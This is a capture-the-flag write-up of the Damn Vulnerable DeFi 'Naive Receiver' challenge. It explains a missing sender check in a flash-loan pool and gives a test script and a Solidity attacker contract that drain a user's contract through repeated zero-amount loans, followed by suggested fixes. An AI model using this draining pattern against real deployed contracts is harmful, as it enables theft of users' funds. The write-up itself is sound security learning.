Naive Receiver
Statement
There's a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance. You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiving flash loans of ETH. Drain all ETH funds from the user's contract. Doing it in a single transaction is a big plus ;)
Analysis
To be honest, I lost quite a lot of time trying to find the bug in order to drain all the ETH from the FlashLoans' contract. After re-reading the challenge statement, I went to my blackboard and wrote 100 times:
Understanding contracts
Our main goal for this challenge is to drain all the ETH from the User's contract.
There are two contracts:
- NaiveReceiverLenderPool.sol: Contract which implements the logic of the lending pool.
- FlashLoanReceiver.sol: Contract which implements the logic of receiving funds from the lending pool.
Let's first analyze the lending pool contract:
It has three different functions:
- fixedFee: Which returns the value of the private constant (and expensive) fee.
- receive: Just to be able to receive eth in this Smart Contract.
- flashLoan: Function that implements the lending logic.
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
1. uint256 balanceBefore = address(this).balance;
2. require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
3.
4.
5. require(borrower.isContract(), "Borrower must be a deployed contract");
6. // Transfer ETH and handle control to receiver
7. borrower.functionCallWithValue(
8. abi.encodeWithSignature(
9. "receiveEther(uint256)",
10. FIXED_FEE
11. ),
12. borrowAmount
13. );
14.
15. require(
16. address(this).balance >= balanceBefore + FIXED_FEE,
17. "Flash loan hasn't been paid back"
18. );
Some notes about this code:
- It has the 1nonReentrant modifier. So, no reentrancy possible.
- In the first two lines, it basically checks that the borrowed amount provided as a parameter, doesn't exceed the amount of eth the lending pool has. If it does exceed, it reverts.
- The 5th "ensures" that the borrower address provided as parameter, is a contract address and not an EOA. However, the implementation of isContract() basically checks that codeSize of the provided address is not empty. This action could occur because of several reasons. For more info check this Secureum blog key #159.... Idea (spoiler): There is no check that the borrower was actually the one sending the message?
- Lines 7-13 implements the external call to the borrower. It calls the receiveEther() function that should be implemented within the borrower's Smart Contract. It basically gives the control to the borrower in order to do whatever they want with the money.
- It ensures that the loan was returned by checking the current balance (plus fee).
Let's know see what logic is implemented in the use user's contract..It has three different functions:
- _executeActionDuringFlashLoan: Which is there as a placeholder for all the logic that the user would want to do once they got the money.
- receive: Just to be able to receive eth in this Smart Contract.
- receiveEther: Which is in charge of receiving the money from the flashloan
1. function receiveEther(uint256 fee) public payable {
2. require(msg.sender == pool, "Sender must be pool");
3.
4. uint256 amountToBeRepaid = msg.value + fee;
5.
6. require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
7.
8. _executeActionDuringFlashLoan();
9.
10. // Return funds to pool
11. pool.sendValue(amountToBeRepaid);
12. }
Some notes about this code:
- It doesn't have a reentrant modifier.. will this help us?
- The 2nd line ensures that the one actually sending the money (loan) is the lending pool.
- 4th and 6th basically checks that the user is able to borrow that amount of money.
- 8th is the placeholder to implement the logic.
- 11th returns the loan.
Final solution
From my POV, the most interesting thing was the use of isContract() inside flashLoan(). This was the moment when I realised that the smart contract wasn't checking if the entity who sent the message to it was the borrower or anyone else. Meaning that anyone, even from an EOA, could use the FlashLoanReceiver's address as borrower. If this happens, every call to flashloan() will mean that, at least, you're draining 1 ETH from the user's contract (the fee).
There is even no check to ensure that the borrowed amount is greater than 0, meaning that an attacker can call this function 10 times and drain all 10 ETH from the user's contract.
Exploit
The final exploit to solve this challenge could be:
it('Exploit', async function () {
for (let i = 0; i < 10; i++){
await this.pool.flashLoan(this.receiver.address, 0);
}
});
Fix
As part of my learning phase of Smart Contracts Security, I like to think which code changes could be carried out in order to be protected against this issue. I'd add to the lending Smart Contract:
-
A line to ensure that the message sender is the borrower.
require(msg.sender == borrower, "Message sender is not the borrower");
-
A line to ensure that empty flashloans are not possible (in order to protect the users of the protocol)
require(borrowAmount > 0, "Empty flashloans are not allowed);
Extra
From the challenge's statement:
[..] Doing it in a single transaction is a big plus ;)
The key concept here is the difference between a transaction and a message. Transactions are always issued by EOA's. With this idea in mind, what we could do is develop a Smart Contract that would do the job (loop) for us and call 10 times the flashloan() function from the pool. To minimize the amount of transaction (just one) we have to execute the "exploit payload" in the constructor. I developed the following SC and stored it inside contracts/attacker-contracts:
/// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
contract NaiveReceiverExploiter {
constructor(address pool, address user) {
for (int i=0; i < 10; i++){
(bool success, bytes memory data) = pool.call(
abi.encodeWithSignature(
"flashLoan(address,uint256)",
user,
0
)
);
require(success, "Call failed!");
}
}
receive () external payable {}
}
Sorry for my poor Solidity skills, still working on that
Then, I modified the naive-receiver.challenge.js with:
it('Exploit', async function () {
const ExploiterFactory = await ethers.getContractFactory("NaiveReceiverExploiter");
this.exploiter = await ExploiterFactory.deploy(this.pool.address, this.receiver.address);
});
And that was all :)